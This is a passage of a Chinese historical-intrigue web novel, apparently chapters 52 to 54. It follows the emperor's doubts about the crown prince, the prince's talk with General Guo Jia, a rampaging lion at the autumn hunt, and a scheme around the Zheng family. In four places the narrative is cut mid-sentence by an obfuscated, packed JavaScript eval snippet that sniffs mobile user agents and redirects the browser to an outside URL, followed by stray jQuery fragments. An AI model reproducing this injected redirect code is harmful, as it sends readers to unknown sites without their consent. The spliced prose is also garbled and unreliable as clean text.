皇帝沉声道：“太子才智过人，可惜对某些事过于执着。朕以为，他并非储君的合适之选。” 内堂一片静寂。 胡总管站在门槛处，弓着身子，一口凉气直往胸口窜。 范昉敛眉，“可是，太子并无大错。” “结党伐异，不孝君父，这难道不算大错？” 范昉面露迟疑，“太子当年舍身救父，以至流落民间多年，或许……与陛下之间有些误会。” 皇帝双眸微动，手扶额角，深深地叹了一口气。 “他失踪之后，朕一直四处寻找他的下落；听闻他的死讯，朕经常梦到他，惊醒之后涕不成声。 可是，他是如何回报君父的？他在朝中结党弄权，与景相分庭抗礼，不将朕放在眼中。” “陛下息怒。” 皇帝调匀呼吸，沉声道：“难道连范卿也要违逆朕的意思？” 范昉敛袍叩拜，“臣范昉，事君至忠，绝无二心。” 皇帝缓了口气，神色稍霁，“朕心中知晓，政事堂之中，真正算得上对朕忠心耿耿的，惟范卿一人矣。易储一事，事关重大。范卿先回去细细想一想，再给朕答复也不迟。” 范昉告退。 皇帝轻声唤道：“胡德祥！” 胡总管快步近前。 皇帝漫不经心地问道：“刚才朕说的话你都听清楚了吧。你准备何时告诉皇后？” 胡总管浑身一个激灵，咣地趴跪在地上，抖颤不成声，“奴，奴才不敢……” “之前种种，朕不予追究，日后须得牢记谁是这大胤之主，朕的身边只会放对朕忠心之人。” 胡总管额头渗出滴滴冷汗。 “朕知你一向敬重皇后，朕与皇后也是结发夫妻，结黎数十载，朕亦不想寒了她的心。” 默了一息，皇帝轻声叹道：“你去吧。” 胡总管愕然抬头。 “将朕的意思告知皇后，让她劝劝太子，事君以忠，事父以孝，方为储君之本分。”皇帝瞥了他一眼，“这是朕最后一次顾念与她的夫妻情分。” 胡德祥颤声领命。 给皇后最后的顾念，亦是给太子最后的机会。 ———— 是日，山南道节度使郭嘉入京。 他数次晋见，皆被一句“陛下有恙”拦于殿前，敢怒而不敢言。 天色清和，初见秋高气爽。 郭嘉无法面圣，正自恼怒。 一黄衫内侍缓步而来，“可是郭将军？” 郭嘉瞳眸微沉，“正是。” “殿下请将军一叙。” 黄衫内侍引着郭嘉穿过几道回廊，走到一处殿宇之前。 殿宇地处宫城东侧，朱墙黄瓦，檐顶三重，乃是东宫所在。 郭嘉沿内廊直入 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16127530|180125||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 书案后，卫枢起身相迎，温和道：“郭将军。” 郭嘉行礼。 卫袖敛袖虚扶，开门见山，“初次见面，冒昧地将郭将军请来，是有几个问题相问。” 郭嘉抬眼，视线落在卫枢的面容上，太子这相貌，当可称得上神仪明秀，气韵华然；双眸虽清淡宁静，却暗藏凛冽。 “孤想问，郭将军如何看待郓国？” 郭嘉双眸微动，坦然道：“郓国狼子野心，大胤之患。” 卫枢又问，“以大胤目前的财力和军力，能否与郓国举国一战？” “……” 郭嘉默过半晌，冷声道：“不能。” 卫枢眸色幽沉，“既然如此，郭将军为何故意挑起纷乱？” 郭嘉心中一骇，面上却不动声色。 对于诱引郓人瑜江截杀，他心中毫无愧意；郓人若无侵扰之心，怎会中计？ 他知道朝廷中大多数人对待郓国的态度是主和，只不过没想到太子亦是作此念，想到此处，只觉胸中气血翻涌，失望至极。 郭嘉唇边噙出冷笑，“殿下是不是也要像那些文臣一般，觉得山南道向朝廷索要十万两军费太多？” 面上怒意横生，端地煞气逼人。 郭嘉武将出身，相貌肃厉，在睢州，曾有吓哭小儿的传言。 “此战既无胜算，将军又何必执着？” “将军百战死，壮士十年归。”郭嘉沉声道：“吾乃大胤边将，担负着守西南疆土之责，郓人多年侵扰，如果一味退缩，他们只会变本加厉，百姓还要一忍再忍。” 卫枢神情没有丝毫动容，“打一场明知会败的仗，令百姓陷入战乱，届时流离失所，荒骨埋土，才是百姓的灭顶之灾。” 二人四目相对，都看出对方眼中的不以为然。 卫枢轻声道：“郭将军忠心耿耿，自然是大胤之幸。将军能否给孤十年时间？孤必将郓人赶出大胤。” 郭嘉掩下眼底不甘，肃着脸，“臣只能答应殿下，日后绝不主动兴战。” “另有一事……”，卫枢又道：“想向郭将军请教。” “殿下请问。” “十年前，郭将军在京城的烟碧楼，是否识得一位叫牡丹的女子？” 郭嘉怔住。 无论如何也没想到，太子问的居然会是这件事。 他面露难堪，目色中夹杂着一丝狼狈，“殿下为何要问此事？” 卫枢浅笑，话说得好似闲话家常，“不瞒将军，此事与孤要查的一桩案子有关。孤也有些好奇，没想到郭将军是位性情中人。” 郭嘉面色青白交加，沉默半晌方道：“臣当年封骠骑将军，初到京城，被京城的繁华迷了眼，几杯烈酒下肚，也学人去青楼附庸风雅，一夜狂悖，醒后亦是后悔不已。” “你做了什么？”卫枢眸色轻动。 “那一夜，烟碧楼拍卖一众青楼女子。我酒后起兴，看中了牡丹，未料到还有旁人竞争，我当年年轻气盛，便一掷千金买了下来。” “与你相争之人，你可还记得是谁？” 郭嘉觉得莫名其妙，“十年前的事如何能记得？” “此人因你痛失所爱，你却连一点印象都无？” 郭嘉冷笑，“那人不过喊了两次价，青楼之中何谈真心？” 卫枢神情一动，“牡丹如今何在？” “跟我回睢州的路上，染病，死了。” 卫枢手指轻蜷。 安州王何卢说他盗取灵州粮仓是因为郭嘉害他痛失所爱。 当年郭嘉不过是一个小小的骠骑将军，而何卢那时已是安州王，若执意要抢一个青楼女子，怎会得不到？ 52. 秋猎 处暑过后，白露将至。 钦天监根据推算之法，定下秋獼之日，奏请皇帝允准。 八月初二，宜捕捉、伐木。 是日，天朗气清，惠风和畅。 禹山脚下，围千顷林地为猎场。御驾一行，留在平旷之地的西苑之中。 猎场一分为二，分别以鸮、兰命名，之间以木栅相隔。 东侧的鸮场乃是广袤深林，其间有虎獐熊罴，异常凶猛，多有人在此一较高下；无好胜之心者多在西侧兰场。 大胤崇文鄙武，但骑射乃君子六艺之一，文人亦将其作为怡情养性之举。 每年春秋两季，由皇家举办围猎，称为春和秋猎。 因着科举舞弊和贡士被杀两个案子，今年的春猎未能成行，因此，朝野上下对这一次的秋猎甚为期待。 猎场守卫由安王负责，北衙卫守外围，禁军守内心，中郎将庞大海奉旨巡查哨岗，迎面撞见任知宜。 她一身劲装，上着紫呢箭袖短衫，下着黑色靴裤，头发被发带高高束起，露出光洁的额头。 庞大海顿住脚步，露出笑容，“任待诏也来了啊。” 任知宜顺手将青玉色素纹抹额系于额间，笑得清爽，“早就听说京城春秋两季围猎的盛名，来见识一下。” “随殿下一起来的？” 任知宜浅笑摇头。 庞大海朝西苑遥遥望去，内中高台敞阔，帝后列坐正中，另有皇室中人、文臣武将，勋贵子弟。右侧的太子执盏浅啜，风姿绰约，身边坐着一身骑装的懿靖郡主，二人正相谈甚欢。 他收回视线，转了个话头儿，“今日打算猎些什么？” 任知宜拍了拍背上的弓弩，轻笑道：“我不会骑马，惟射艺尚可，打算去兰场打些山鸡和兔子。” 弓弩是四钧弓，短小精利，极适合女子射艺习用。若遇猛兽，杀伤力不足，但猎几个山鸡野兔，倒是绰绰有余。 “你独自一人？” 任知宜笑得开怀，“唐橘也在，正在马场那边挑选马匹。” 秋猎乃胤国大盛会，凡有官身勋爵，自恃精通骑射者，不论男女，皆可下场一搏。 庞大海被她的笑容所感染，亦朗声笑道：“可惜庞某职责所在，不能下场与大家同乐，希望任待诏猎得尽兴。” “谢庞将军吉言。” ———— 高台熙攘，诸君欢声高语，好不热闹。 骏马驰奔，数十戎装男儿手持弯弓长戟，纵马跃入猎场。 远远望去，银胄青甲，发带飘风，俱皆英姿飒飒。 这些人当中，最耀眼的当属卫枢。 墨带束发，白襟雍颈，袖缚臂鞲，腰束玉革。 脚蹬皮靴，执缰纵马。 清贵如玉，郎艳独绝。 皇帝手执酒杯，长长慨叹道：“记得当年太子第一次参加围猎，还是朕亲手扶他上的马，一转眼，十几年过去了。” “不止骑马，还有执笔、挽弓，第一个教导枢儿的人一直都是陛下。”郑皇后柔声道。 皇帝悠悠沉思。 卫枢是他的嫡长子，自幼天资聪颖，在他身上，自己也曾倾注心血，满怀期待。 “陛下，臣女也想去射猎。”懿靖郡主脆生生道。 皇帝回过神来，和颜笑道：“懿靖也擅骑射？” 火红的骑装衬得懿靖郡主艳如桃李，她笑道：“父王曾是大胤的将军，臣女自幼随他学了些粗脚功夫，今日想在陛下面前献丑一试。” 郑皇后笑得随和，“陛下，懿靖算是将门出身，又年纪轻，不如随她去吧。” 皇帝含笑应允。 不过半盏茶的功夫，马场送来一匹枣红色的小马驹。 懿靖郡主瞧了瞧，抿唇娇笑，“陛下，懿靖想要一匹和太子殿下一样的马！” 这小红马最是温顺，卫枢的坐骑却是月宛国进献的青骓，皇宫中仅有两匹，“神发天机，策兹飞练”，高猛矫健，日行千里。 郑皇后面露讶色，那青骓马体高七尺，威仪赫赫，并不好驾驭。 懿靖毫不以为意。 待马牵来，懿靖欲翻身上马，但那青骓马却颇有些性子，昂首扬蹄不愿。 她面露羞恼，喝令马场的侍卫紧拉辔头，制住马蹄。 后又有几个侍卫冲将过来，齐齐抱住马腹。 青骓几番挣扎，稍有懈怠，懿靖抓住时机，猛地跃上马背，勒紧缰绳。 “驾……” 阔步一跃，迈入鸮场。 ———— 一支黑羽箭快如流星，“嗖”的一声，射中灰山兔的右腿。 “中了！” 唐橘坐在马背上，俯身一捞，将兔子一把抓了起来。 转回头，朝任知宜咧嘴笑道：“准头不错！” 任知宜甩了甩手，嗔笑道：“好你个唐橘，故意笑我呢！你那里有一箧的猎物，我才猎得这一只。” “谁让你不会骑马！看好的猎物都跑了，追都追不上！” 任知宜望着唐橘马上的英姿，着实歆羡不已，突发奇想道：“阿橘！秋猎过后，待大理寺的案子少些，你教我骑马吧。” 唐橘想起之前见她上马时的笨拙样子，笑地前仰后合，“你确定？” 笑了片刻，瞧见任知宜一脸郁色，她忙咧嘴哄道：“莫急！莫急！我一定教你骑马。” “若我会骑马，你便不用为了陪我来这里打猎，尽可以去鸮场那边。” 唐橘唇角噙出一抹嘲意，“前两年去过，碰见些倒胃口的事儿，觉得那鸮场也没什么意思。” 任知宜望着她。 唐橘低头抚摸着马儿的鬃毛，冷哼道：“有些勋贵官家子弟，考不上科举，便想通过武科推荫做官，春秋两次围猎便是在陛下面前露脸的最好时机。暗施手脚的人多得是。” “如何暗施？” “让下人将提前准备好的猛兽放在指定的位置，猛兽被提前下了轻微的迷药，轻易便可猎捕。” 任知宜微愕，“若是被别人瞧见，抢先猎到呢？” 唐橘笑笑，“那就得看抢先之人是什么身份了。若是此人位高权重，便自认倒霉；若是个无名小卒，便强取豪夺。” 看她的神情，任知宜猜测唐橘定是遭遇过这事儿。 “遇到这种人，白白生场闷气，还不如在兰场猎只鸡下酒呢。” 二人牵马并行，一路笑谈。 忽然，一声狂吼震出，似撼地山地摇动。 唐橘的马受了惊，两耳直竖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16127531|180125||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，浑身绷地僵硬。 “这是……什么声音？” 吼声阵阵，离她们不远。 任知宜嘴唇翕张，满脸的不敢置信，“好像是……” 话音未落，一声凄厉的男子惨叫声从深林内传来。 二人面色一变。 唐橘欲过去看看，马儿却昂着头，不肯向前迈出一步。 猛抽一鞭，马儿吃疼，发出阵阵嘶鸣。 伴随着吼声，“咚咚”的脚步声越来越近。 从密林深处，缓缓地走出一个庞然大物。 它体形高大壮硕，金黄色的鬃毛在日光下闪闪发亮，双目炯炯。 任知宜脸色煞白，失声道：“是狻猊！” 接着颤声解释道：“也就是狮子！” 马儿似是感受到危险的逼近，双目瞪大，浑身抖颤，几欲奔走。 唐橘咽了咽口水，右手缓缓地摸向弓弩。 任知宜咬着下唇，冲她无声地摇了摇头。 狮子静静地立在原地，琥珀色的眸子死死地盯着她们二人，散出嗜血的光芒。 它嘴里咬着一截人的手臂，身后是一串长长的，沾着血的爪印。 任知宜使了个眼色，唐橘猛地一扔筐箧。 狮子腾然跳跃，血盆大口一张，片刻将雉鸡和野兔撕咬成碎骨。 趁此时机，唐橘和任知宜同时拉弓，各自射出一箭。 一箭中下肢，一箭中右腹。 狮子猛然吃痛，摇着头发狂大吼，吼声震耳欲聋。 它双眼圆瞪，爪子刨着厚土，一副蓄势待发的样子。 唐橘伸手，欲拉任知宜上马。 说时迟，那时快！那头狮子大吼一声，腾然跃起，朝任知宜扑了过来。 任知宜目色惊惧，双脚僵直，像被箍于泥土之中，动弹不得。 她绝望地闭上双眼。 此时，长戟破风而过，擦着狮子的鬃毛扎入林地。 一道青色的影子飞跃而来，迅如闪电，青骓马前蹄高扬，踢向狮子的头。 唐橘瞅准狮子闪避的空当，猛地飞掠刺出一剑，整个人滚落于地。 “吼吼……” 皮开肉绽，血流汩汩。 嘶吼之声震天，狮子痛得四处猛抓，厚厚的树皮被利爪挖下，里面露出黄色的汁液。 卫枢勒紧缰绳，纵马而跃，朝着狮子再一次飞奔而去。 青骓马勇猛矫健，毫不畏惧，跃至狮子近身之旁，卫枢侧身一跳，双腿挂于马上，猛然回身射出袖箭。 袖箭从狮子的左眼正中透穿过去，混着鲜血的红色黏液缓缓流出。 痛嘶声如巨雷，山呼海啸般，震得所有人耳膜欲裂。 它挣扎了片刻，似乎力有不逮，颓然坐于地上。 卫枢奔到任知宜身边，见她满脸是血，焦急道：“伤哪儿了？” 任知宜从呆滞中回过神来，下意识抹掉血迹，“这是狻猊的血，喷溅过来的。” 唐橘执剑在身前，面上犹带惊恐，“趁它没起来，咱们快走！” “不用了。”卫枢似乎力竭，一下子倒在地上，喘着粗气道：“应该是它身上的迷药发作了。” 果然，狮子坐了半晌，渐渐垂下头去，像昏死一般。 53. 采桂 蹄声阵阵，马鸣长嘶。 不远处，传来一声女子的尖叫。 紧接着，马踏疾奔之声渐行渐远，女子呼救的声音愈加惊惶。 卫枢眼神一暗。 继而朝任知宜的方向深深地看了一眼，声音有如凉冰碎玉。 “禁军稍后就到，你们小心。” 不多久，禁军和北衙卫同时到达。 任知宜与唐橘刻意不提，无人知晓刚才太子来过。 这狻猊是承恩伯家次子带进鸮场，他想在皇帝面前争名，却因为下人给狻猊施的迷药药量不够，打开笼子之后，狮子不但没有昏睡过去，反而骤然跃出，狂奔之下撞破了兰场与鸮场之间的围栏。 围场四处都是血腥之气，断臂残肢，血迹斑斑。 在狮口之下侥幸存活的，只有任知宜和唐橘二人。 庞大海望着满身污血，面色发白的二人，感叹道：“若不是这活物之前被下过迷药，你们俩绝难活命。有几人被狮子活活咬死，尸身至今都未找全，承恩伯府这次是彻底完了。” 任知宜身子一僵，心有余悸。 “还有十几人受了重伤，也不知道能不能救得回来。” 她心神略缓，“殿下人呢？” 庞大海道：“方才狮子的吼声惊了郡主的马，那青骓马野性难驯，受惊之后冲向归叶谷，殿下去救人了。” 西苑中，皇帝雷霆震怒，未及回宫便当场下令，斩杀承恩伯次子，安王和禁军也因为守卫失当被斥责。 北衙卫出动大半去寻太子，迟迟未有音信。归叶谷地势陡峻，有处百丈断崖，崖下是湍瀑乱石，不熟悉地形的人很容易出事。 秋猎出此祸事，帝后惊魂难定，稍稍休息片刻便匆忙摆驾回宫，留部分北衙卫在西苑接应太子。 时至暮时。 落日昏淡，染红半边霞空，透出凄厉的血色。 任知宜立于苍松树下，若有所思。 “姑娘在想什么？”身后传来一道深沉的声音。 任知宜缓缓回身，“陛下早已回宫，柳尚书为何不跟着回去？” 柳德轻笑，“老夫来，是特意来告知姑娘一个好消息，太子殿下已平安归来。” 任知宜神色一亮。 “姑娘还是别急着去看太子了。”柳德长臂一伸，拦下她。 他呵呵笑道：“懿靖郡主受了惊吓，殿下急着请太医为她诊治，眼下已经离开。啧啧！真是一对情比金坚的有情人啊。老夫心慈，都不忍心拆散他们了。” 任知宜望着他，黑眸如渊。 “哈哈！”柳德目色深沉，“姑娘放心。老夫重诺守信，不会像姑娘一般，明着献计陷害韩家，暗地里却又调查郑家。墙头之草，可不是那么好当的。” 任知宜冷笑连连，“若非如此，我又如何能重得东宫信任。你无非是想从我这里套取东宫的计划，我若做不成东宫幕僚，你岂不是竹篮打水一场空。” 柳德讥笑，“今日你差点葬身兰场，太子却连句关怀都没有，如此薄情寡义，还没令你认清现实？” 林中一片寂静。 喧嚣退却。 密林阴森，鸟兽因浓重的血腥气而受惊，鸣叫此起彼伏，犹如鬼魅之声，令人闻之悚然。 任知宜禁不住浑身绷紧。 柳德见她神情凄惶，不由地心内笑叹，再怎么精明狡黠，也不过是个年轻稚嫩的姑娘。 “老夫有一计。” 他凑到她眼前，低下头，耳语片刻。 任知宜静静听着，瞳眸逐渐睁大，露出几分意外。 “郑檀愿意主动将这桩旧事翻出来？” 柳德似笑非笑地看着她，“这件事，东宫和韩家不是早就盯上了吗？郑家不过是顺势而为。” 任知宜抿唇不语。 接着，她扬声冷笑，“你们想要我去做这场燎火的引线？引火烧身，自取灭亡。” 柳德笑道：“懿靖郡主如今对姑娘颇为忌惮，姑娘只须略施小计，引懿靖郡主入局，到时候引火烧身的便是懿靖郡主，你我各得其利。” 沉默半晌，任知宜问：“那我要的山南道军费呢？” 柳德笑笑，“一切皆如姑娘所愿。” 须臾后，树下空空。 “鸹！鸹！”一只黑鸦飞掠过去，停在苍松的枝头上。 ———— 承恩伯府一朝倾落。 秋猎中丧命的几人中，有一位是齐国公的孙子。齐国公在殿上老泪纵横，请求陛下严惩凶手。 大理寺雷霆手段，不到十日查实案情。 皇帝贬承恩伯为庶人，承恩伯的二弟，刑部侍郎方仲也因此事被牵连，连降四级，至南州任典史，接替他职位的是原本的刑部郎中徐志。 权贵之家因此事战战兢兢，家家闭门不出，忙着训诫不务正业的子弟，京城少了许多招猫逗狗，流窜花街的纨绔子弟，百姓倒是过了几天安生日子。 此时正是秋阳暖照，丹桂飘香的时节，家家忙着筹备中秋佳节。 这一日，天色蒙蒙亮。 任知宜一行六人，或马或车，前往城郊采桂。 晨曦露微，山清明秀。 马车于官道上缓慢行进，宝珠轻挥小鞭，口中哼着灵州小调。 霍思修骑在马背上，神态悠闲，“入了翰林院之后，我才明白什么叫偷得浮生半日闲。每日忙于编纂遗册，感觉这身子骨都要僵了。” 宝珠回头警告道：“就算没什么力气，你也不许借口偷懒！” 唐橘在后面哈哈笑道：“一遇到霍公子，宝珠的脾气就上来了。” 马车竹帘半卷，露出一张净白的面庞，乌黑的眸子望着众人，蕴满笑意。 任知宜掀帘远望，山色空蒙，秋意渐浓，青苍郁色之中夹杂着一片赤红，如烈火一般绚烂。 再过七日，便是中秋。 每逢中秋，大胤官员休沐三日，民间百姓喜欢登高拜月，吟诗品酒。 八月十五酿桂酒，也是大胤中原地区的一个习俗。 桂被称为百药之长，桂花米酒清甜醇绵，饮之通疏血气，加之桂花有福寿安康的寓意，家家户户都愿意在中秋之前亲手采摘桂花，酿出米酒，与亲朋共饮。 前几日，云娘说想要酿几坛桂花酒，任知宜起了兴致她自幼长在灵州，只听说过“桂花载酒”的雅闻，却从未亲手做过。 城中桂花被人采摘过半，可是禹山上的桂花林开得尚好。每年八月，禹山东边桂花遍地金黄，西边红叶烈烈如火，金红相映，漫山飘香。 他们一行人出来，既是郊游，又是采桂。 众人下马。 目之所及，青苍壮阔，片片明黄隐于其中，令人人眼目缭乱。踏步走入桂林，浓香馥郁，花瓣随风拂于衣袂，香气尽染。 霍思修深吸一口气，顿觉天地钟灵之秀，皆汇聚于此 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16127532|180125||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，不禁赞叹道：“前朝诗人有云，暗淡轻黄体性柔，不愧是八月桂子。今日一来，竟觉得入京数月，皆是虚度啊。” 站在丈高的金桂树下向上仰望，尖长的叶片簇拥着金黄色的小花，花团紧簇，满压枝头。 “今日咱们多摘一些桂花，除了酿酒，还可以调成香料、香膏。” “小姐说得是。”宝珠说完，飞身一跃，轻巧地落在枝桠上，动手摇花。 六人各有分工。 唐橘和宝珠轻功好，负责站在树上摇落桂花；云娘和费举子将带着杆梗的花枝挑拣出来；最后由任知宜和霍思修用清水漂洗花间泥土。 不知怎地，霍思修洗得有几分心不在焉。 任知宜瞥了他一眼，轻声道：“义兄，像你这种洗法，花瓣都被你揉搓烂了。” 霍思修收回飘忽的思绪，讷讷不能言。 任知宜右手掬起一小捧水，顺着左手掌心里的花瓣轻轻流下去，缓缓问道：“义兄是不是喜欢宝珠？” 霍思修猛地直起身来，刚刚净好的花瓣被他倾洒于地，又沾了泥尘。 他面皮涨得通红，下意识地望向宝珠的方向，“你是怎么知道的？宝珠说的？” “不是。我是见你平素对宝珠说你文弱的事很在意，就这么一猜。” 霍思修又羞又窘，一双手不知该放何处，慌乱无着，“你，你先不要告诉她。” 任知宜问：“义兄既然对宝珠有意，为何要藏着掖着？难道，你介意宝珠是个丫鬟？” “自然不是。”霍思修连忙否认，嗫嚅道：“我只是觉得宝珠似乎更欣赏武将，像，像庞大人那样的。” 任知宜拢起花瓣放于绢帕上，笑笑道：“义兄敢为天下公义赴死，缘何对待感情如此踟蹰？我觉得，如果心悦一人，便要直白说出来，总好过你心中暗自百转千折。” 霍思修神情微动，似是听了进去。 蓦然，一道突兀的讪笑传来，引得二人回头。 从仲秋苍色之间而出，一袭红袍，玉带金冠，容颜似春华之盛，桃李之艳。 他坐于一顶肩舆之上，身后跟着四个白衣侍女，俱皆姿容秀美，体态婀娜。 “韩少初。” 肩舆落地，韩少初摇着玉柄雀纹宫扇，缓缓起身。 “你说今日没空见我，我当是有什么要紧事，却原来是在这里做媒婆！” 韩少初走了几步，微撩起衣角，嫌恶地看着袍子上蹭到的泥迹，“这金桂品相一般，你若想要酿酒，我着人给你送些上等的，何必自己亲自来采？” “不用了。”任知宜淡淡道。 侍女将一旁石头擦干净，再将软垫平铺于石上。 韩少初施然而坐，轻摇宫扇。 任知宜暗道，能让韩少初这种镶金嵌玉的大少爷专程坐着肩舆上禹山找她，必是出了什么事。 她想到一种可能，秀眉一动，“李氏不愿意作证？” 韩少初叹道：“那李氏胆怯得很，就像一只惊弓之鸟，恐怕指望不上。” 二人说话如同打哑迷，霍思修听罢，知道是他自己不方便听的，便自觉回避走开。 二人口中的李氏是郑家家主郑檀的寡嫂。 数年前，郑檀为夺家主之位谋害兄长，韩家欲借此事大作文章，所以韩少初费劲心机将李氏接到京城，可是她却并不松口。 任知宜沉思半晌，“我与你一道，去见见她。” 54. 心愿 任知宜坐在郑李氏的对面，细细打量着对方。 李氏年约四十，面带苦相，眉壑纹深，光看一张脸便能知道她这些年生活过得不如意。 “郑夫人，你愿意随韩家入京，也该明白韩家为何找上你吧。” 李氏双眸闪烁，闪避着任知宜的目光。 任知宜目光一动不动，“郑夫人，你害怕郑檀？” 李氏默不作声。 任知宜缓缓道：“令夫去世时，夫人尚年轻，既要强忍悲伤操持后事，又要安抚幼儿丧父之痛，想必极之艰难；更令人愤慨的是，郑家宗亲偏帮郑檀，将你们孤儿寡母赶出郑家主院，这么多年，难道你心中不恨吗？” 李氏揉着手中的帕子，眸中愤恨一闪而过。 “令夫本是郑家家主，若真是不幸枉死倒也罢了，可是他死得冤枉，若他泉下有知，也希望你为他报仇雪恨，郑夫人你说对吗？” “你，你不要再说了！”李氏突然站起身来，像是听到了什么恐惧的话，满身抖颤不止，“我根本不想报什么仇！你们走！你们都走！” 她突然紧张起来，惊慌地抄起床前的木拐，挥舞着要赶二人出去。 韩少初失了耐心，冷喝一声，“郑李氏，若无我韩家襄助，你这一世都回不去郑家主院，都在郑檀的阴影下活着，包括你的儿子，你的孙子……” 李氏怔了一下，嘴唇哆嗦着，“我，我要回柳州。我不作证！我不作证！” 她反复自语，浑身颤抖的样子愈加癫狂。 二人退出房间。 韩少初面色阴沉，好看的桃花眼里泛着幽光。 “疯婆子！” 任知宜突然问道：“这些年，郑檀待她母子如何？” “不太好。他们被赶到乡下庄子之后，郑家对他们几乎是不闻不问，郑家老大留下的私产也都归了郑檀。郑檀只手遮天，他们母子过得连郑家远亲都不如。她儿子二十五岁，接触不到郑家牟利的生意，只能经营着郑家名下的几间小商铺，勉强度日。” 任知宜眼皮微抬，声音带着些许凉意。 “难怪她不愿意。” 韩少初蹙眉，“此话怎讲？” “这么多年，郑子依附仇人为生，完全不介意自己父亲的死，可见不是个有血性的。李氏丧夫多年，如今对于她来说，是为逝去夫君讨回公道重要，还是他母子二人的后路更重要？” 韩少初折扇一收，脸色变得很难看。 “难怪郑檀这厮有恃无恐！” 他咬牙恨声道：“前日，我刻意泄露了两个消息给郑家的探子，一个是李氏的行踪，另一个是我韩家盐铺账册所在。没想到，昨日有人动过那账册，可李氏那里却毫无动静。郑檀此人刚愎自用，心狠手辣，按兵不动不是他一贯的作派。” 任知宜面不改色，“你可将此事告知殿下？” 闻言，韩少初眼中添了几分急切，“太子在华济寺连做七日法事，什么人都不见。任知宜，看在你我睢州相交一场的份上，替我拿个主意。” 韩家与郑家决裂，是韩少初在韩家宗祠前立誓，以他名下所有田产、家财作保，才换得韩家同意。 他输不起，也不能输。 任知宜思忖半晌，“郑檀未有反应，无外乎两种可能。其一，或许是因为眼下他圣心正隆，忙于庆嫔省亲一事，觉得自己胜券在握；另外便是他知道李氏不可能为你所用。” 韩少初心中一坠，眸色沉得有如乌云蔽日。 他唇齿轻磨，愤恨难纾，“若李氏不成，我便与郑二爷合作。” “郑檀的堂兄郑二爷？”任知宜定定地看着他，“郑二爷虽与郑檀相争，却不会为了搞垮郑檀任由郑家败落。” 左也不成，右也不成。 韩少初一时急怒交加，脱口而出，“你莫不是故意这么说？毕竟你本就不赞成东宫介入此事。” 任知宜脸一沉，“韩大公子，今日可是你请我来的。” 韩少初心知失言，平静下来，长长地舒了口气，支支吾吾地想要道歉。 “韩公子莫不是嘴里生了疮？”任知宜冷笑，“怎地连话都不会说了？” 他别过脸去，拱手道：“抱歉，方才是我失言。” 见任知宜不理会他，径直要走，他忙扯住她的袖子连声告饶。 任知宜凉凉地觑了他一眼，“没什么诚意。” 闻言，韩少初突然福至心灵。 “我庄子上有刚刚运至京城的鲜鲟，还有位江南最擅长做鱼的厨子。中午我做东，请你吃鲜鲟膳。” 任知宜沉默半晌，复轻声问道：“只请我自己？” “当然。”韩少初笑笑。 任知宜眸色阗黑，“佳肴难得，只请我一人怎么行！多叫几位朝中的朋友，你不介意吧？” 韩少初迟疑，“李氏如今住在庄子上，人多眼杂……” 话说半截，他神情突然一顿，变得微妙起来，“你是故意的？” 任知宜道：“这几日，你尽管张扬行事，最好将李氏在你庄上的事搞得人尽皆知。” “你想借此试探一下郑檀的反应？万一郑檀对她下手？” 任知宜摇摇头，“眼下郑檀不敢动李氏，知道这件事的人越多，李氏越安全。若是李氏在此时出了意外，郑檀便是有一百张嘴也说不清。” 她又道：“你将她儿子也接过来，不要限制她母子二人的行踪，过几日便有转机。” 韩少初半信半疑地应下。 ———— 陛下诏令，令户部筹措山南道军费十万两银，节度使郭嘉结束述职，不日将离开京城。 平湖孤舟，四面群山。 舟舱中，任知宜静坐泡茶。 船帘掀开，郭嘉弓身进来，解下佩剑往案上一搁，目光飘向船外，“姑娘约我见面，倒是选了处山明水秀的好地方。” 任知宜伸手，“将军请坐，此处乃湖心，绝不会有第三人听到我们的谈话。” 郭嘉双眉轻动，坐下来。 任知宜为他斟茶，“郭将军，我父亲在任上可还顺利？” “令尊一切安好。听说吏部已将他升任刺史的公文加急处置，待本将 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16127533|180125||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 回去，便要称令尊一声任刺史了。” 听出这话里的试探，任知宜抬眼笑笑，“这件事也要多谢郭将军促成。” 